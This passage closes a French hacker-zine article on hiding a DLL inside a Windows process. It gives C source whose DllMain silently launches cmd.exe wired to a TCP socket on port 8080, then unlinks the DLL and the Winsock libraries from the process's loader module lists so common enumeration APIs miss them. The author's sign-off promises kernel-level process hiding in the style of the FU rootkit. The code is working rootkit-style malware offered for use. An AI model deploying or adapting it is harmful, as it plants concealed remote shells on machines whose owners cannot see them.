PModule=(PLDR_MODULE)PLDR_DATA->InLoadOrderModuleList.Flink;
PModule=(PLDR_MODULE)((PBYTE)PModule-0x0);
do{
PModule=(PLDR_MODULE)PModule->InLoadOrderModuleList.Flink;
PModule=(PLDR_MODULE)((PBYTE)PModule-0x0);
memset(ModuleName,0,sizeof(ModuleName));
WideCharToMultiByte(CP_ACP, 0,PModule->FullDllName.Buffer,-1\
ModuleName ,MAX_PATH-1, NULL, NULL);
}while(!StrStrI(ModuleName,ModuleToHide));
//Now on cache notre module
PModule->InLoadOrderModuleList.Blink->Flink=PModule
->InLoadOrderModuleList.Flink;
PModule->InLoadOrderModuleList.Flink->Blink=PModule
->InLoadOrderModuleList.Blink;
return true;
}
BOOL APIENTRY DllMain (HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
// On ne traite pas les raisons autres que l'initialisation de la DLL
if(dwReason!=DLL_PROCESS_ATTACH)
return TRUE;
WSADATA wd;
SOCKET sock;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in sin;
int size = sizeof(sin);
memset(&sin, 0, sizeof(sin));
memset(&si, 0, sizeof(si));
WSAStartup(MAKEWORD(2,0), &wd);
sock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
sin.sin_family = AF_INET;
sin.sin_port = htons(8080);
sin.sin_addr.s_addr = inet_addr("127.0.0.1");
bind(sock, (struct sockaddr *)&sin, size);
connect(sock, (struct sockaddr *)&sin, size);
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock;
CreateProcess(
NULL,
"cmd.exe",
NULL,
NULL,
true,
IDLE_PRIORITY_CLASS|CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi
);
//osef de la casse avec les StrStrI
DLLHiding(DLLName);
DLLHiding("ws2_32.dll");
DLLHiding("msafd.dll");
DLLHiding("wshtcpip.dll");
DLLHiding("ws2help.dll");
return true;
}
Ouf ! quelle soirée je crois qu'après toutes ces émotions je vais aller me
coucher moi :).
Évidemment, j'aurais pu vous balancer dans la gueule comme ça le code qui
planquait la DLL directement dans les trois listes chainées, mais je trouve que
de voir le raisonnement qui m'a fait aboutir à ce code est plus instructif. En
fait la seule fois ou j'ai vu cette méthode implémentée c'était dans Phrack (p62
-0x0c) ou Kdm ,un frenchie encore ;), le faisait directement en modifiant les 3
listes, moi j'ai voulu savoir si cela était réellement nécessaire et ça passait
par du reversage d'API win pour finalement voir que face aux 2 API les plus
connus pour voir les modules d'un process modif 2 listes suffisaient. Par contre
je tiens a dire que cette méthode ne peut rien contre un scan de la mémoire la
DLL étant forcément dans celle ci on pourra toujours la détectée.
--------[7.Happy End
Que je suis méchant, je viens de vous faire lire (ou pas) 30 ko sur la manière
de cacher une DLL dans un process, ce n'est p-e pas la chose la plus
intéressante du monde, mais ça peut toujours servir. Ce qui en revanche sert
beaucoup plus c'est de cacher un process (vivi un process vous avez bien lu) et
pas un pauvre code en ring3 qui hook 2 API en bois, nian je parle ici de code
noyau qui réalise du DKOM (Direct Kernel Object Manipulation) une méthode
implémentée par le Rootkit FU et qui permet de rendre quasi-invisible a la
fois en UserLand et au noyau un prog mais ça, ca sera pour le prochain épisode
mes enfants ;).
En attendant votre avis m'intéresse beaucoup sur à la fois le zine et ce que
j'ecris, n'hésitez pas a me contact: ivanlef0u119@yahoo.fr, comme d'hab les src
seront sur mon site ds zines/moi.
Maintenant vous pouvez éteindre votre téléviseur et reprendre une activité
normale, bonsoir !
Ivanlef0u
EMail:ivanlef0u119@yahoo.fr
WebSite: http://membres.lycos.fr/moi118118
--------[ References
phrack 62-0x0c: http://membres.lycos.fr/moi118118/zines/PHRACK.rar
EnumProcessModules:
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/
base/enumprocessmodules.asp
CreateToolHelp32Snapshot:
http://msdn.microsoft.com/library/default.asp?url=/library/en-
us/dllproc/base/createtoolhelp32snapshot.asp
DLL:
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/dl
lmain.asp